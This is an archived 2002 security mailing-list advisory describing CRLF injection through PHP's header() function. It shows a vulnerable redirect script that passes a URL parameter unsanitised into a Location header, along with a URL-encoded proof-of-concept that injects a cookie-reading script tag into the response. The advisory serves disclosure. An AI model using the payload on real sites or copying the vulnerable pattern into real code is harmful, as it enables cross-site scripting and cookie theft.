

[UNIX] PHP header() CRLF Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-09/0027.html>

From: support@securiteam.com

Date: 09/08/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 8 Sep 2002 22:45:54 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

PHP header() CRLF Injection

SUMMARY

A security vulnerability in the way certain PHP scripts handle incoming URLs allows attackers to cause it to display malicious HTML and JavaScript code as if it were its own. The following is a theoretical example.

DETAILS

PHP's header() function is used to modify HTTP header information by specifying a header line, such as this:

```
<?php header("Location: http://www.yahoo.com/"); ?>
```

It is commonplace to see things such as this:

```
---- REDIR.PHP ----
```

```
<?php header("Location: $_GET['$url']"); ?>
```

```
---- REDIR.PHP ----
```

<http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F>

%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%21%2D%2D

Will cause a series of lines to be produced:

Securiteam: [UNIX] PHP header() CRLF Injection

HTTP/1.1 302 Found
Server: Xitami
Date: Sat, 07 Sep 2002 21:50:17 GMT
Content-length: 96
Content-type: text/html
X-powered-by: PHP/4.2.3
{Location: <http://www.yahoo.com/>

<SCRIPT>alert(document.cookie)</SCRIPT><!--} <-- See our code in
between the brackets
Content-type: text/html

The HTML produced is "broken" -- that is, it does not comply to RFC standards, because it does not have a "-->" tag. Matthew did this to suppress the "Content-type" header that PHP was dumping in the response.

By using this, attackers can perform cross-site scripting attacks or initiate downloads, in rare cases (via HTTP headers, such as content-disposition, etc.)

ADDITIONAL INFORMATION

The information has been provided by <mailto:mattmurphy@kc.rr.com>
Matthew Murphy.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Granite Software ZMerge Administration Database Insecure Default ACLs"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)